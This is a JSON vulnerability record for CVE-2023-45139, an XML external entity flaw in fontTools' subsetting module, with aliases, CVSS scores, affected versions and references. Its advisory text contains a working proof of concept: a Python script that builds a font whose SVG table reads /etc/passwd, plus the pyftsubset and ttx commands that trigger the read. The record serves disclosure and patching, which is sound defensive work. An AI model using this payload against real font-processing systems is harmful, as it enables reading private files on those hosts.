{"id":"CVE-2023-45139","aliases":["CVE-2023-45139","GHSA-6673-4983-2vx5","PYSEC-2026-1388"],"related":[],"kind":"vulnerability","state":"published","title":"fonttools XML External Entity Injection (XXE) Vulnerability","summary":"fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nAs of `fonttools>=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. \n\nThis allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. \n\n### PoC\n\n\nThe vulnerability can be reproduced following the bellow steps on a unix based system.\n\n1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.\n\n```python\n\nfrom string import ascii_letters\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\nfrom fontTools.ttLib import newTable\n\n\nXXE_SVG = \"\"\"\\\n<?xml version=\"1.0\"?>\n<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n  <g id=\"glyph1\">\n    <text font-size=\"10\" x=\"0\" y=\"10\">&test;</text>\n  </g>\n</svg>\n\"\"\"\n\ndef main():\n    # generate a random TTF font with an SVG table\n    glyph_order = [\".notdef\"] + list(ascii_letters)\n    pen = TTGlyphPen(glyphSet=None)\n    pen.moveTo((0, 0))\n    pen.lineTo((0, 500))\n    pen.lineTo((500, 500))\n    pen.lineTo((500, 0))\n    pen.closePath()\n    glyph = pen.glyph()\n    glyphs = {g: glyph for g in glyph_order}\n\n    fb = FontBuilder(unitsPerEm=1024, isTTF=True)\n    fb.setupGlyphOrder(glyph_order)\n    fb.setupCharacterMap({ord(c): c for c in ascii_letters})\n    fb.setupGlyf(glyphs)\n    fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})\n    fb.setupHorizontalHeader()\n    fb.setupOS2()\n    fb.setupPost()\n    fb.setupNameTable({\"familyName\": \"TestSVG\", \"styleName\": \"Regular\"})\n\n    svg_table = newTable(\"SVG \")\n    svg_table.docList = [\n       (XXE_SVG, 1, 12)\n    ]\n    fb.font[\"SVG \"] = svg_table\n\n    fb.font.save('poc-payload.ttf')\n\nif __name__ == '__main__':\n    main()\n\n```\n\n2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):\n\n```shell\npyftsubset poc-payload.ttf --output-file=\"poc-payload.subset.ttf\" --unicodes=\"*\" --ignore-missing-glyphs\n```\n\n3. Read the parsed SVG table in the subsetted font:\n\n```shell\nttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx\n```\n\nObserved the included contents of the `/etc/passwd` file. \n\n### Impact\n\nNote the final severity is dependant on the environment fontTools is running in.\n\n- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on\n\n\n\n### Possible Mitigations \n\nThere may be other ways to mitigate the issue, but some suggestions:\n\n1. Set the `resolve_entities=False` flag on parsing methods\n2. Consider further methods of disallowing doctype declarations\n3. Consider recursive regex matching","format":"markdown","source":"ghsa"},{"lang":"es","text":"fontTools es una librería para manipular fuentes, escrita en Python. El módulo subsetting tiene una vulnerabilidad de inyección de entidades externas XML (XXE) que permite a un atacante resolver entidades arbitrarias cuando se analiza una fuente candidata (fuentes OT-SVG), que contiene una tabla SVG. Esto permite a los atacantes incluir archivos arbitrarios del sistema de archivos en el que se ejecuta fontTools o realizar solicitudes web desde el sistema host. Esta vulnerabilidad ha sido parcheada en la versión 4.43.0.","source":"nvd"}],"published":"2024-01-09T16:01:10.000Z","modified":"2026-09-10T03:50:04.834Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-611"],"affected":[{"ranges":[{"version":">= 4.28.2, < 4.43.0","status":"affected"}],"vendor":"fonttools","product":"fonttools","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"4.28.2","status":"affected","fixed":"4.43.0"}],"ecosystem":"PyPI","package":"fonttools","purl":"pkg:pypi/fonttools","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"4.28.2","fixed":"4.43.0"}],"vendor":"fonttools","product":"fonttools","cpe":"cpe:2.3:a:fonttools:fonttools:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"4.28.2","status":"affected","fixed":"4.43.0"}],"ecosystem":"PyPI","package":"fonttools","purl":"pkg:pypi/fonttools","source":"pysec"}],"references":[{"url":"https://github.com/fonttools/fonttools/security/advisories/GHSA-6673-4983-2vx5","tags":["exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/fonttools/fonttools/commit/9f61271dc1ca82ed91f529b130fe5dc5c9bf1f4c","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/fonttools/fonttools/releases/tag/4.43.0","tags":["release-notes","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VY63B4SGY4QOQGUXMECRGD6K3YT3GJ75/","tags":["x-transferred"],"sources":["cvelist","nvd"]},{"url":"http://www.openwall.com/lists/oss-security/2024/03/09/1","tags":["web","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"http://www.openwall.com/lists/oss-security/2024/03/08/2","tags":["web","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45139","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/fonttools/fonttools","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VY63B4SGY4QOQGUXMECRGD6K3YT3GJ75","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/fonttools","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-6673-4983-2vx5","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-05-08T18:37:10.491Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-45139","url":"https://www.cve.org/CVERecord?id=CVE-2023-45139","licence":"CVE Terms of Use","modified":"2025-06-03T14:27:45.728Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6673-4983-2vx5","url":"https://github.com/advisories/GHSA-6673-4983-2vx5","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:04.834Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-45139","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45139","licence":"Public domain","modified":"2026-06-17T06:28:17.890Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1388","url":"https://osv.dev/vulnerability/PYSEC-2026-1388","licence":"CC-BY-4.0","modified":"2026-07-07T17:47:21.814Z"}],"updatedAt":"2026-11-25T22:58:32.020Z","epss":{"score":0.01228,"percentile":0.69715,"date":"2026-12-01T12:00:22.000Z"}}